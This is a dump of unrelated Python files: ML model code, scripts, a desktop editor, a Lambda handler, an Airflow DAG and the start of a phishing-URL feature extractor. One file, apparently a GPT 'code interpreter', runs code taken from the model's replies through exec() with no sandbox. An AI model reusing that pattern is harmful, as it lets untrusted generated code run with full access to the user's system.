        total_num_bits = lookback * c * 8
        # We need to provide RNN targets as bits (due to the API).
        rnn_target_bits = discretization.int_to_bit(rnn_target, 8)
        rnn_target_bits = tf.reshape(
            rnn_target_bits, [batch_size * m, total_num_bits])
        if self.is_training:
          # Run the RNN in training mode, add it's loss to the losses.
          rnn_predict, rnn_loss = discretization.predict_bits_with_lstm(
              rnn_start_state, 128, total_num_bits, target_bits=rnn_target_bits,
              extra_inputs=rnn_inputs)
          extra_loss += rnn_loss
          # We still use non-RNN predictions too in order to guide the network.
          x = tf.layers.dense(x, c * 256, name="logits")
          x = tf.reshape(x, [batch_size, h, w, c, 256])
          rnn_predict = tf.reshape(rnn_predict, [batch_size, h, w, c, 256])
          # Mix non-RNN and RNN predictions so that after warmup the RNN is 90%.
          x = tf.reshape(tf.nn.log_softmax(x), [batch_size, h, w, c * 256])
          rnn_predict = tf.nn.log_softmax(rnn_predict)
          rnn_predict = tf.reshape(rnn_predict, [batch_size, h, w, c * 256])
          alpha = 0.9 * common_layers.inverse_lin_decay(
              hparams.autoregressive_rnn_warmup_steps)
          x = alpha * rnn_predict + (1.0 - alpha) * x
        else:
          # In prediction mode, run the RNN without any targets.
          bits, _ = discretization.predict_bits_with_lstm(
              rnn_start_state, 128, total_num_bits, extra_inputs=rnn_inputs,
              temperature=0.0)  # No sampling from this RNN, just greedy.
          # The output is in bits, get back the predicted pixels.
          bits = tf.reshape(bits, [batch_size * m, lookback * c, 8])
          ints = discretization.bit_to_int(tf.maximum(bits, 0), 8)
          ints = tf.reshape(ints, [batch_size, h, w, c])
          x = tf.reshape(tf.one_hot(ints, 256), [batch_size, h, w, c * 256])
    elif self.is_per_pixel_softmax:
      x = tf.layers.dense(x, hparams.problem.num_channels * 256, name="logits")
    else:
      x = tf.layers.dense(x, hparams.problem.num_channels, name="logits")

    reward_pred = None
    if self.has_rewards:
      # Reward prediction based on middle and final logits.
      reward_pred = tf.concat([x_mid, x_fin], axis=-1)
      reward_pred = tf.nn.relu(tf.layers.dense(
          reward_pred, 128, name="reward_pred"))
      reward_pred = tf.squeeze(reward_pred, axis=1)  # Remove extra dims
      reward_pred = tf.squeeze(reward_pred, axis=1)  # Remove extra dims

    return x, reward_pred, policy_pred, value_pred, extra_loss, internal_states


#!/usr/bin/env zsh
"true" """"
exec ~/dev/.env/app_google_groups/bin/python3 "$0" "$@"
"""
from os import path

from setuptools import find_packages, setup

with open(path.join(path.dirname(__file__), "app_google_groups/version.txt"), "r") as version_file:
    version = version_file.readline().strip()

# The README.md will be used as the long description
with open("README.md", "r") as readme:
    long_description = readme.read()

# If the project is imported via a Pip git dependency, the prod.in will
# not be present. Use prod.txt instead.
# prod.txt exists after running "make requirements"
requirements_prod_file = "requirements/prod.txt"
if not path.exists(requirements_prod_file):
    requirements_prod_file = "requirements/prod.in"

# Parse out the actual requirements
with open(requirements_prod_file, "r") as prod_requirements:
    requirements = [
        line.strip() for line in prod_requirements if line and line[0] not in ["-", "#"]
    ]

setup(
    name="app_google_groups",
    version=version,
    install_requires=requirements,
    python_requires=">= 3.6, < 4",
    packages=find_packages(exclude=["tests", "tests.*"]),
    package_dir={"": "."},
    entry_points={
        "console_scripts": [
            # If you would like to change the name of the CLI program, change the
            # name on the left side of the equals.
            "app_google_groups=app_google_groups:main_with_args",
        ],
    },
    package_data={
        # If there are non-python files you need to include in the project, specify
        # them here. The format is like so:
        # ("app_google_groups.data", ["local_path/local_file", "local_path/local_file_2"]),
        # The result would be a module under our project called "data" that contains the 2
        # specified files
        "app_google_groups": ["version.txt"]
    },
    # Metadata for PyPI
    long_description=long_description,
    long_description_content_type="text/markdown",
    description="Slack app for managing Google Groups",
    url="https://github.com/Hubspot/python-app-google-groups",
    project_urls={"Source": "https://github.com/Hubspot/python-app-google-groups"},
    classifiers=[
        "Programming Language :: Python :: 3",
        "Programming Language :: Python :: 3.6",
        "Programming Language :: Python :: 3.7",
        "Programming Language :: Python :: 3.8",
    ],
)


import pandas as pd

df = pd.read_csv("titanic.csv")

filter1 = df[['Name','Age','Sex','Pclass','Survived']]

filter1 = filter1.loc[(filter1['Sex'] == 'female') & (filter1['Pclass']== 1) & (filter1['Survived'] ==1 )]
filter1 = filter1.sort_values(['Name'], ascending=True)

filter1.to_excel("titanic_result.xlsx", index=False)


class oopCal:
   def add(self, n1, n2):
       answer = n1 + n2
       return answer

   def sub(self, n1, n2):
       answer = n1 - n2
       return answer

   def mul(self, n1, n2):
       answer = n1 * n2
       return answer

   def div(self, n1, n2):
       if (n2 == 0):
           answer = "Can't divide by zero!"
       else:
           answer = n1 / n2

       return answer

   def input2num(self):
       n1 = int(input("First number: "))
       n2 = int(input("Second number: "))
       return (n1, n2)

   def menu(self):
      print("Press key -\n"
            "add to Add\n"
            "sub to Subtract\n"
            "mul to Multiply\n"
	    "dev to Divide\n"
            "exit to Exit\n")
      # Take input from the user
      select = input("Select operation:")

      if select == 'add':
         (n1, n2) = self.input2num()
         print(n1, "+", n2, "=", self.add(n1, n2))
         status = 0
         return status
      elif select == 'sub':
         (n1, n2) = self.input2num()
         print(n1, "-", n2, "=", self.sub(n1, n2))
         status = 0
         return status
      elif select == 'mul':
         (n1, n2) = self.input2num()
         print(n1, "*", n2, "=", self.mul(n1, n2))
         status = 0
         return status
      elif select == 'div':
         (n1, n2) = self.input2num()
         print(n1, "/", n2, "=", self.div(n1, n2))
         status = 0
         return status
      elif select == 'exit':
         status = 1
         return status
      else:
         print("Invalid input")
         status = 0
         return status

status = 0
cal = oopCal()
while status == 0:
   status = cal.menu()
   print()
if status == 1:
    print()
print("Good Stuff")


from advent.utils import filetostringlist
import pandas
from typing import List

SCORES = {
    "(": 3,
    "[": 57,
    "{": 1197,
    "<": 25137,
    ")": 3,
    "]": 57,
    "}": 1197,
    ">": 25137,
}

def part_a(inputList: List[str]) -> int:
    t = 0
    for row in inputList:
        pos = [0]
        for e in row:
            if e in ("}", ")", ">", "]"):
                if pos[-1] == SCORES[e]:
                    pos.pop(-1)
                else:
                    t += SCORES[e]
                    break
            else:
                pos.append(SCORES[e])
    return t

if __name__ == "__main__":
    inputList = filetostringlist("advent/ten/input.txt")
    print(part_a(inputList))


import numpy as np
import os
import logging
import pandas as pd
import pybedtools as pybed
from scipy.sparse import csr_matrix, save_npz

BIN_SIZE = 500000
coordinate_names = ['chr', 'start', 'end']

root_dir = os.path.abspath(os.path.dirname(__file__))
raw_dir = os.path.join(root_dir, 'raw')
schic2_mm9_dir = os.path.join(root_dir, 'schic2_mm9')
chrom_sizes = os.path.join(schic2_mm9_dir, "trackdb", "chrom_sizes.txt")
contact_maps_path = os.path.join(root_dir, 'maps', "resolution_{}".format(BIN_SIZE))

def __order_bins(y):
    x = y.copy()
    b1, b2 = x['bin1'],x['bin2']
    x['bin1'] = min(b1, b2)
    x['bin2'] = max(b1, b2)
    return x

def adj_to_matrix(adj, fends_coords_with_bin, shape):
    adj_with_bins = adj.merge(fends_coords_with_bin[['fend', 'bin_id']], left_on='fend1', right_on='fend')
    adj_with_bins = adj_with_bins.rename(columns={'bin_id': 'bin1'})[['bin1', 'fend2', 'count']]
    adj_with_bins = adj_with_bins.merge(fends_coords_with_bin[['fend', 'bin_id']], left_on='fend2', right_on='fend')
    adj_with_bins = adj_with_bins.rename(columns={'bin_id': 'bin2'})[['bin1', 'bin2', 'count']]
    adj_with_bins = adj_with_bins.apply(__order_bins, axis=1).groupby(['bin1', 'bin2'])['count'].sum().reset_index()
    m = csr_matrix((adj_with_bins['count'].values, (adj_with_bins['bin1'].values, adj_with_bins['bin2'].values)),
                    shape=shape)
    return m

def main():

    logging.info("Creating output path {}".format(contact_maps_path))
    os.makedirs(contact_maps_path, exist_ok=True)

    if os.path.isfile(os.path.join(contact_maps_path, 'bins.tsv')):
        logging.info("Loading bins")
        bins = pd.read_table(os.path.join(contact_maps_path, 'bins.tsv'))
    else:
        logging.info("Creating bins")
        bins = pybed.BedTool().window_maker(g=chrom_sizes, w=BIN_SIZE).to_dataframe(names=coordinate_names)
        bins['chr'] = 'chr' + bins.chr.astype(str)
        bins = bins.sort_values(coordinate_names).reset_index(drop=True)
        bins['bin_id'] = np.arange(bins.shape[0], dtype=int)
        bins.to_csv(os.path.join(contact_maps_path, 'bins.tsv'), sep="\t", index=False, header=True)

    if os.path.isfile(os.path.join(contact_maps_path, 'fends_coords_with_bin.tsv')):
        logging.info("Loading fends-bins mapping")
        fends_coords_with_bin = pd.read_table(os.path.join(contact_maps_path, 'fends_coords_with_bin.tsv'))
    else:
        logging.info("Loading fends coordinates")
        fends_coords = pd.read_table(os.path.join(schic2_mm9_dir, "seq", "redb", "GATC.fends"),
                                 converters={'chr': lambda x: "chr" + str(x)})
        fends_coords = fends_coords.assign(start=lambda x: x.coord, end=lambda x: x.coord + 1).drop('coord', axis=1)
        fends_coords = fends_coords[fends_coords.columns[1:].append(fends_coords.columns[0:1])]
        fends_coords = fends_coords.sort_values(coordinate_names).reset_index(drop=True)

        logging.info("Mapping fends to bins")
        fends_coords_with_bin = pybed.BedTool.from_dataframe(fends_coords).map(pybed.BedTool.from_dataframe(bins), c=4, o='min')\
                                             .to_dataframe(names=fends_coords.columns.tolist() + ['bin_id'])
        fends_coords_with_bin.to_csv(os.path.join(contact_maps_path, 'fends_coords_with_bin.tsv'), sep="\t", index=False, header=True)

    for exp in os.listdir(raw_dir):
        output_path = os.path.join(contact_maps_path, exp)
        os.makedirs(output_path, exist_ok=True)
        logging.info("Converting {}".format(exp))
        exp_path = os.path.join(raw_dir, exp)
        exp_files = os.listdir(exp_path)
        for ef in exp_files:
            logging.info("{} - {}".format(exp, ef))
            adj = pd.read_table(os.path.join(exp_path, ef, "adj"))
            m = adj_to_matrix(adj, fends_coords_with_bin, (bins.shape[0], bins.shape[0]))
            save_npz(os.path.join(output_path, ef + ".npz"), m)

if __name__ == '__main__':
    logging.basicConfig(level=logging.INFO)
    main()


#!/usr/bin/env python3

from PySide import QtGui, QtCore

class Editor(QtGui.QMainWindow):

    def __init__(self):
        super().__init__()
        self.fname = ''
        self.changesSaved = False
        self.initUI()

    def initUI(self):
        self.setGeometry(100, 100, 800, 800)
        self.setWindowTitle('NixEditor')
        self.center()

        self.editor = QtGui.QPlainTextEdit()
        self.editor.textChanged.connect(self.changed)

        self.setCentralWidget(self.editor)

        self.statusbar = self.statusBar()

        self.initMenubar()
        self.initActions()

        self.show()
        self.statusbar.showMessage('Ready')

    def center(self):
        screen = QtGui.QDesktopWidget().screenGeometry()
        size = self.geometry()
        self.move((screen.width() - size.width()) / 2, (screen.height() - size.height()) / 2)

    def initMenubar(self):
        menubar = self.menuBar()
        self.filemenu = menubar.addMenu('&File')
        self.helpmenu = menubar.addMenu('&Help')

    def initActions(self):
        do_fnew = QtGui.QAction(QtGui.QIcon('icons/new.png'), '&New', self)
        do_fnew.setShortcut('Ctrl+N')
        do_fnew.setStatusTip('New file')
        do_fnew.triggered.connect(self.fnew)
        self.filemenu.addAction(do_fnew)

        do_fopen = QtGui.QAction(QtGui.QIcon('icons/open.png'), '&Open', self)
        do_fopen.setShortcut('Ctrl+O')
        do_fopen.setStatusTip('Open file')
        do_fopen.triggered.connect(self.fopen)
        self.filemenu.addAction(do_fopen)

        do_fsave = QtGui.QAction(QtGui.QIcon('icons/save.png'), '&Save', self)
        do_fsave.setShortcut('Ctrl+S')
        do_fsave.setStatusTip('Save file')
        do_fsave.triggered.connect(self.fsave)
        self.filemenu.addAction(do_fsave)

        do_exit = QtGui.QAction(QtGui.QIcon('icons/exit.png'), 'Exit', self)
        do_exit.setShortcut('Ctrl+Q')
        do_exit.setStatusTip('Exit application')
        do_exit.triggered.connect(self.close)
        self.filemenu.addAction(do_exit)

    def changed(self):
        self.changesSaved = False

    def fnew(self):
        # TODO: write new file function
        pass

    def fopen(self):
        self.fname, _ = QtGui.QFileDialog.getOpenFileName(self, 'Open File')
        with open(self.fname, 'r') as file:
            self.editor.setText(file.read())
        self.statusbar.showMessage('Opened %s' % self.fname)

    def fsave(self):
        if not self.fname:
            self.fname, _ = QtGui.QFileDialog.getSaveFileName(self, 'Save File')
        if self.fname:
            with open(self.fname, 'wt') as file:
                file.write(self.editor.toPlainText())
            self.changesSaved = True
            self.statusbar.showMessage('Saved %s' % self.fname)

    def closeEvent(self, event):
        if self.changesSaved:
            event.accept()
        else:
            reply = QtGui.QMessageBox.question(self, 'Message',
                                               "Are you sure you want to Quit without saving?",
                                               QtGui.QMessageBox.Yes | QtGui.QMessageBox.No,
                                               QtGui.QMessageBox.No)

            if reply == QtGui.QMessageBox.Yes:
                event.accept()
            else:
                self.fsave()


#KYALO KELVIN MUINDI
#P15/37561/2016
#Gossip_Based Assignment
#Receiver/Nodes code
import socket
import struct
import sys

multicast_group = '224.4.9.1'
server_address = ('', 10000)

num = 1

while num<5:
    # Create the socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    # Bind to the server address
    sock.bind(server_address)
    # Tell the operating system to add the socket to the multicast group
    # on all interfaces.
    group = socket.inet_aton(multicast_group)
    mreq = struct.pack('4sL', group, socket.INADDR_ANY)
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
    # Receive/respond loop
    while True:

        print(sys.stderr, '\nwaiting to receive message')
        data, address = sock.recvfrom(1024)

        print(sys.stderr, 'received %s bytes from %s' % (len(data), address))
        print(sys.stderr, data)

        print(sys.stderr, 'sending acknowledgement to', address)
        myack='Acknowledgement message'
        mynewack=myack.encode('utf-8')
        sock.sendto(mynewack, address)
        num = num + 1


import pandas as pd
from scrap_adresowo.models import session_maker, Apartment
import matplotlib.pyplot as plt
from collections import Counter

session = session_maker()

query = session.query(Apartment)
apartments_df = pd.read_sql(query.statement, query.session.bind)
cracow_apartments_df = apartments_df[apartments_df['city'] == 'Kraków']
# basic stats
df = cracow_apartments_df[['price', 'rooms', 'floor', 'squares', 'price_per_square']]
d = {'Mean': df.mean(), 'Min': df.min(), 'Max': df.max(), 'Median': df.median()}
stats = pd.DataFrame.from_dict(d, dtype='int32')[["Min", "Max", "Mean", "Median"]].transpose()
print(stats)

# avg price per district
df_mean = cracow_apartments_df.groupby(['district']).mean()
df_mean['price'] = df_mean['price'].astype(int)
fig, (ax, ax2) = plt.subplots(ncols=2, sharey=False)
ax.ticklabel_format(useOffset=False, style='plain')
ax2.ticklabel_format(useOffset=False, style='plain')
df_mean[:20].plot.barh(x=None, y="price", color="royalblue", ax=ax, grid=True, )
df_mean[:20].plot.barh(x=None, y="price_per_square", color="red", ax=ax2, grid=True, )

# Correlation between price_per_square and floor in cracow
y = cracow_apartments_df["price_per_square"].tolist()
x = cracow_apartments_df["floor"].tolist()
c = Counter(zip(x, y))
s = [10 * c[(xx, yy)] for xx, yy in zip(x, y)]
fig1, ax = plt.subplots()
ax.ticklabel_format(useOffset=False, style='plain')
cracow_apartments_df.plot(kind="scatter", x="floor", y="price_per_square", s=s, color="blue", ax=ax)
yy, locs = plt.yticks()
ll = ['%.0f' % a for a in yy]
plt.yticks(yy, ll)

# Correlation between price_per_square and squares in cracow
y = cracow_apartments_df["price_per_square"].tolist()
x = cracow_apartments_df["squares"].tolist()
c = Counter(zip(x, y))
s = [10 * c[(xx, yy)] for xx, yy in zip(x, y)]
fig1, ax = plt.subplots()
ax.ticklabel_format(useOffset=False, style='plain')
cracow_apartments_df.plot(kind="scatter", x="squares", y="price_per_square", s=s, color="blue", ax=ax)
yy, locs = plt.yticks()
ll = ['%.0f' % a for a in yy]
plt.yticks(yy, ll)

# ratio of rooms in cracow
fig1, ax1 = plt.subplots()
ax1.ticklabel_format(useOffset=False, style='plain')
df_count = cracow_apartments_df.groupby(['rooms']).count()
df_to_delete = df_count[df_count['id'] < df_count['id'].sum() / 50]  # below 2%
df_count = df_count[df_count['id'] > df_count['id'].sum() / 50]
df_count = df_count['id']
df_count.append(pd.Series([df_to_delete['id'].sum()]), ignore_index=True)
df_count.index = [f"{i} pokojowe" for i in df_count.index[:-1]] + ['pozostałe']

df_count.plot.pie(y="id", autopct="%1.1f%%", figsize=(7, 7))

# Stats of cities
cities_df = apartments_df.groupby(['city']).mean()
fig1, ax1 = plt.subplots()
ax1.ticklabel_format(useOffset=False, style='plain')
cities_df[:15].plot.barh(x=None, y="price", color="royalblue", ax=ax1, grid=True)

plt.show()
session.close()


import logging
import os
import sys

from helpers.dynamodb_helper import DynamoDbHelper
# pylint: disable=import-error
from helpers.response import ResponseHelper
from helpers.utils import convert_string_to_bool

logger = logging.getLogger()
logger.setLevel(logging.INFO)

def lambda_handler(event, context):
    logger.info(event)
    status_code = 200
    message = "Record(s) found"
    records = None

    try:
        user_id = event["pathParameters"]["user_id"]
        user_context = event["requestContext"]["authorizer"]

        is_allow_list = True
        if not convert_string_to_bool(user_context["is_admin"]) is True:
            if not user_id == user_context["id"]:
                is_allow_list = False

        if is_allow_list:
            records = get_records(user_id)
        else:
            status_code = 403
            message = "You are not authorized to perform this action"

    except Exception as exception:
        logger.error("Exception: {}".format(exception), exc_info=sys.exc_info())
        status_code = 500
        message = "Process has encountered an internal server exception."

    response = {
        "message": message
    }

    if not records is None and not len(records) == 0:
        response['Items'] = records
    elif not status_code == 500 and not status_code == 403:
        response["message"] = "Record(s) not found"

    return ResponseHelper.format_response(status_code, response)

def get_records(user_id):
    params = {
        "KeyConditionExpression": "#user_id = :user_id and \
                                 #created_time_epoch > :intZero",
        "ExpressionAttributeNames": {
            '#user_id': 'user_id',
            "#created_time_epoch": 'created_time_epoch'
        },
        "ExpressionAttributeValues": {
            ":user_id": user_id,
            ':intZero': 0,
        },
        "ScanIndexForward": False,
        "IndexName": "user_id_created_time_epoch_index"
    }
    return DynamoDbHelper.query(os.environ['APPLICATION_TRACKER_TABLE_NAME'], params)


#Using two pointer method to keep track of smaller, larger

# Head ends here
def pairs(a,k):
    # a is the list of numbers and k is the difference value
    a.sort()
    #print(a)
    answer = 0
    i = 0
    j = 1
    while j < len(a):
        diff = a[j] - a[i]
        if diff == k:
            answer += 1
            i += 1
            j += 1
        if diff < k:
            j += 1
        if diff > k:
            i += 1
    return answer
# Tail starts here
if __name__ == '__main__':
    a = input().strip()
    a = list(map(int, a.split(' ')))
    _a_size=a[0]
    _k=a[1]
    b = input().strip()
    b = list(map(int, b.split(' ')))
    print(pairs(b,_k))


import os, datetime, math
import numpy as np
from io import StringIO
from contextlib import redirect_stdout
import openai
from gpt_dialogue import Dialogue
openai.api_key = os.getenv("OPENAI_API_KEY")

class CodeInterpreter(Dialogue):

    def __init__(self, **kwargs):
        super().__init__(**kwargs)

    def call_openai_with_code_interpreter(self, user_prompt):
        assistant_response = self.call_openai(user_prompt)

        # check if response contain code snippet
        response_content = assistant_response['content']
        if self.debug:
            print('response_content: ', response_content)
        response_splits = response_content.split('```python')
        if len(response_splits) <= 1:
            # no code snippet found, return the raw response
            if self.debug:
                print('no code snippet found, return the raw response')
            return assistant_response
        else:
            # code snippet found, execute the code
            code_snippet = response_splits[-1].split('```')[0]
            print('code snippet: ', code_snippet)
            f = StringIO()
            with redirect_stdout(f):
                exec(code_snippet)
            code_exe_result = f.getvalue()
            print('code execution result: ', code_exe_result)
            code_exe_msg = 'Execution result of the above code is: ' + str(code_exe_result)
            return self.call_openai_with_code_interpreter(code_exe_msg)

if __name__ == '__main__':

    config = {
        'model': 'gpt-4',
        # 'model': 'gpt-3.5-turbo',
        'temperature': 0,
        'top_p': 0.0,
        'max_tokens': 'inf',
        'system_message': "Imagine you are an artificial intelligence assitant with a python interpreter. So when answering questions, you can choose to generate python code (for example, when there is need to do quantitative evaluation). The generated code should always print out the result. The code should be written in python and should be able to run in the python environment with the following packages installed: numpy, math. The generated code should be complete and always include proper imports. Each generated code piece should be independent and not rely on previous generated code. When answer step by step, stop whenever you feel there is need to generate python code (for example, where there is need to do quantitative evaluation) and wait for the result from the code execution. When the answewr is complete, add 'Now the answer is complete.' to the end of your answer.",
        # 'load_path': '',
        'save_path': 'chats',
        'debug': False
    }

    dialogue = CodeInterpreter(**config)
    print('======================Instructions======================')
    print('Type "exit" to exit the dialogue')
    print('Type "reset" to reset the dialogue')
    print('Type "pretext" to see the current dialogue history')
    print('Type "config" to see the current config')
    print('Type "save" to save the current dialogue history')
    print('====GPT Dialogue Initialized, start asking your questions====')

    while True:
        user_prompt = input('You: ')
        if user_prompt == 'exit':
            break
        elif user_prompt == 'reset':
            dialogue = CodeInterpreter(**config)
            print('====GPT Dialogue Initialized, start asking your questions====')
            continue
        elif user_prompt == 'pretext':
            print('===Pretext===')
            for message in dialogue.get_pretext():
                print(message)
            print('===Pretext===')
            continue
        elif user_prompt == 'config':
            print('===Config===')
            print(config)
            print('===Config===')
            continue
        elif user_prompt == 'save':
            timestamp = datetime.datetime.now().strftime("%Y-%m-%d-%H-%M-%S")
            dialogue.save_pretext(config['save_path'], timestamp)
            print('Pretext saved to', os.path.join(
                config['save_path'], 'dialogue_' + timestamp + '.json'))
            continue
        else:
            # response = dialogue.call_openai(user_prompt)['content']
            response = dialogue.call_openai_with_code_interpreter(user_prompt)['content']
            print('Bot:', response)
            counter = 0
            while not response.endswith('Now the answer is complete.') and counter < 10:
                response = dialogue.call_openai_with_code_interpreter('')['content']
                print('Bot:', response)
                counter += 1


""" TERCERA PARTE AIRFLOW """

from datetime import timedelta, datetime
from airflow import DAG
# Operators
from airflow.operators.dummy_operator import DummyOperator

""" APARTADO 4) """
from time_diff import TimeDiff

default_args = {
    'owner': 'airflow',
    'depends_on_past': False,
    'start_date': datetime(2020, 11, 21),
    'retries': 1,
    'retry_delay': timedelta(seconds=5)
}

dag = DAG(
    dag_id='dag_diff_dates',
    default_args=default_args,
    description='A diff date DAG',
    schedule_interval='0 3 * * *',
)

start = DummyOperator(
    task_id='start',
    dag=dag,
)

task_diff_date = TimeDiff(
    task_id='task_diff_date',
    name='my_task',
    diff_date='2016-11-22',
    format_date='%Y-%m-%d',
    dag=dag,
)

end = DummyOperator(
    task_id='end',
    dag=dag,
)

start >> task_diff_date >> end


from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

import os
import tempfile
import numpy as np
from tensor2tensor.data_generators import video_generated  # pylint: disable=unused-import
from tensor2tensor.models.video import next_frame_glow
from tensor2tensor.utils import registry
import tensorflow.compat.v1 as tf
from tensorflow.compat.v1 import estimator as tf_estimator
MODES = tf_estimator.ModeKeys

# TODO(mechcoder): Refactor or merge tests with the other next_frame_tests when
# this moves to a public version.
def fill_hparams(hparams, in_frames, out_frames, gen_mode="conditional",
                 latent_dist_encoder="pointwise", pretrain_steps=-1,
                 num_train_frames=-1, cond_first_frame=False,
                 apply_dilations=False, activation="relu"):
  """Set next_frame_glow hparams."""
  hparams.latent_activation = activation
  hparams.latent_apply_dilations = apply_dilations
  hparams.video_num_input_frames = in_frames
  hparams.video_num_target_frames = out_frames
  hparams.latent_dist_encoder = latent_dist_encoder
  hparams.gen_mode = gen_mode
  hparams.pretrain_steps = pretrain_steps
  hparams.num_train_frames = num_train_frames
  hparams.cond_first_frame = cond_first_frame
  if latent_dist_encoder in ["conv_net", "conv3d_net"]:
    hparams.num_cond_latents = in_frames
  else:
    hparams.num_cond_latents = 1
  problem = registry.problem("video_stochastic_shapes10k")
  p_hparams = problem.get_hparams(hparams)
  hparams.problem = problem
  hparams.problem_hparams = p_hparams
  hparams.tiny_mode = True
  hparams.reward_prediction = False
  hparams.latent_architecture = "glow_resnet"
  hparams.latent_encoder_depth = 2
  hparams.latent_pre_output_channels = 32
  if (hparams.gen_mode == "conditional" and
      hparams.latent_dist_encoder == "pointwise"):
    hparams.batch_size = 16
    hparams.init_batch_size = 16
  else:
    hparams.batch_size = 16
    hparams.init_batch_size = 32
  hparams.affine_coupling_width = 32
  hparams.depth = 5
  hparams.n_levels = 2
  return hparams

def fill_infer_targets(x):
  x["infer_targets"] = tf.identity(x["targets"])
  return x

def create_basic_features(hparams):
  dataset = hparams.problem.dataset(MODES.TRAIN, hparams=hparams)
  dataset = dataset.batch(hparams.batch_size)
  dataset = dataset.map(fill_infer_targets)
  return dataset.make_one_shot_iterator().get_next()

class NextFrameGlowTest(tf.test.TestCase):
  """Utils for testing next_frame_glow."""

  def should_run_session(self, hparams):
    # dilated conv-3d not available on CPU.
    return tf.test.is_gpu_available() or not hparams.latent_apply_dilations

  def checkAllConds(self, conds_array, num_total_frames, hparams):
    if hparams.cond_first_frame:
      self.assertEqual(conds_array, [True]*(num_total_frames + 1))
    elif hparams.pretrain_steps > -1:
      self.assertEqual(conds_array, [False]*num_total_frames)
    elif hparams.latent_dist_encoder != "pointwise":
      self.assertEqual(conds_array, [True]*num_total_frames)

  def RunModel(self, model, train_op, hparams, features, num_frames,
               model_path=None):
    exp_num_frames = num_frames + int(hparams.cond_first_frame)
    if hparams.gen_mode == "conditional":
      self.assertLen(model.all_top_latents, exp_num_frames)
      self.assertLen(model.all_level_latents, exp_num_frames)

    with tf.Session() as session:

      if model_path is not None:
        saver = tf.train.Saver()

      session.run(tf.global_variables_initializer())

      # Run initialization.
      init_op = tf.get_collection("glow_init_op")
      session.run(init_op)

      loss, top_conds = session.run([train_op["training"], model._all_conds])  # pylint: disable=protected-access
      self.checkAllConds(top_conds, num_frames, hparams)

      if model_path is not None:
        saver.save(session, model_path)

      # Check that one forward-propagation does not NaN, i.e
      # initialization etc works as expected.
      self.assertTrue(loss > 0.0 and loss < 10.0)

  def GlowTrainAndDecode(self, in_frames=1, out_frames=1,
                         latent_dist_encoder="pointwise",
                         gen_mode="conditional", pretrain_steps=-1,
                         num_train_frames=-1, cond_first_frame=False,
                         apply_dilations=False, activation="relu"):
    """Test 1 forward pass and sampling gives reasonable results."""
    if num_train_frames == -1:
      total_frames = in_frames + out_frames
    else:
      total_frames = num_train_frames

    curr_dir = tempfile.mkdtemp()
    model_path = os.path.join(curr_dir, "model")

    # Training pipeline
    with tf.Graph().as_default():
      hparams = next_frame_glow.next_frame_glow_hparams()
      hparams = fill_hparams(hparams, in_frames, out_frames,
                             gen_mode, latent_dist_encoder, pretrain_steps,
                             num_train_frames, cond_first_frame,
                             apply_dilations, activation)
      features = create_basic_features(hparams)
      model = next_frame_glow.NextFrameGlow(hparams, MODES.TRAIN)
      _, train_op = model(features)
      if self.should_run_session(hparams):
        self.RunModel(model, train_op, hparams, features, total_frames,
                      model_path)

    # Inference pipeline
    with tf.Graph().as_default():
      hparams = next_frame_glow.next_frame_glow_hparams()
      if hparams.gen_mode == "unconditional":
        hparams.video_num_target_frames = 1
      hparams = fill_hparams(hparams, in_frames, out_frames,
                             gen_mode, latent_dist_encoder, pretrain_steps,
                             num_train_frames, cond_first_frame,
                             apply_dilations, activation)
      features = create_basic_features(hparams)
      model = next_frame_glow.NextFrameGlow(
          hparams, tf_estimator.ModeKeys.PREDICT)
      predictions = model.infer(features)
      outputs = predictions["outputs"]
      model_path = os.path.join(curr_dir, "model")

      if self.should_run_session(hparams):
        with tf.Session() as session:
          saver = tf.train.Saver()
          saver.restore(session, model_path)
          outputs_np = session.run(outputs)
          self.assertEqual(outputs_np.shape, (16, out_frames, 64, 64, 3))
          self.assertTrue(np.all(outputs_np <= 255))
          self.assertTrue(np.all(outputs_np >= 0))

if __name__ == "__main__":
  tf.test.main()


import urllib.parse
import tldextract
import requests
import json
import csv
import os
import re
import sys
import os
from flask import Flask, render_template, request
from bs4 import BeautifulSoup
import requests
import re
import validators
from urllib.parse import urlparse, urljoin
import urllib.parse
import whois21
import time
from datetime import datetime
from urllib.parse import urlencode
from selenium import webdriver
import signal

def parse_url(url):
    parsed_url = urlparse(url)
    hostname = parsed_url.scheme + "://" + parsed_url.netloc
    domain = parsed_url.netloc
    return hostname, domain, parsed_url.path

# RETURN CODES
# 0 stands for legitimate
# 1 stands for phishing

def get_url_length(url):
	return len(url)

def get_hostname_length(url):
	hostname, domain, path = parse_url(url)
	return len(hostname)

def having_ip_address(url):
    match = re.search(
        '(([01]?\\d\\d?|2[0-4]\\d|25[0-5])\\.([01]?\\d\\d?|2[0-4]\\d|25[0-5])\\.([01]?\\d\\d?|2[0-4]\\d|25[0-5])\\.'
        '([01]?\\d\\d?|2[0-4]\\d|25[0-5])\\/)|'  # IPv4
        '((0x[0-9a-fA-F]{1,2})\\.(0x[0-9a-fA-F]{1,2})\\.(0x[0-9a-fA-F]{1,2})\\.(0x[0-9a-fA-F]{1,2})\\/)|'  # IPv4 in hexadecimal
        '(?:[a-fA-F0-9]{1,4}:){7}[a-fA-F0-9]{1,4}|'
        '[0-9a-fA-F]{7}', url)  # Ipv6
    if match:
        return 1
    else:
        return 0

def count_hyphens(base_url):
	return base_url.count('-')

def count_and(base_url):
	return base_url.count('&')

def count_eq(base_url):
	return base_url.count('=')

def count_underscore(base_url):
	return base_url.count('_')

def count_slash(base_url):
	return base_url.count('/')

def https_token(url):
	if url[0:5] == 'https':
		return 0
	return 1

def port(url):
    if re.search("^[a-z][a-z0-9+\-.]*://([a-z0-9\-._~%!$&'()*+,;=]+@)?([a-z0-9\-._~%]+|\[[a-z0-9\-._~%!$&'()*+,;=:]+\]):([0-9]+)",url):
        return 1
    return 0

def get_number_of_hyperlinks(soup, url):

    hyperlinks = {'internal':0, 'external':0, 'null':0, 'total':0}

    base_url = urlparse(url).netloc

    for el in soup.find_all(href=True):

        if el['href'] in Null_format:
            hyperlinks['null']+=1
        else:
            full_url = urljoin(url, el.get('href'))
            parsed_url = urlparse(full_url)

            if parsed_url.netloc == base_url:
                hyperlinks['internal']+=1
            else:
                hyperlinks['external']+=1

        hyperlinks['total']+=1

    return hyperlinks

def get_null_hyperlinks_ratio(soup, domain):
    hyperlinks = get_number_of_hyperlinks(soup, domain)
    if hyperlinks['total']:
        return round(hyperlinks['null'] / hyperlinks['total'], 2)
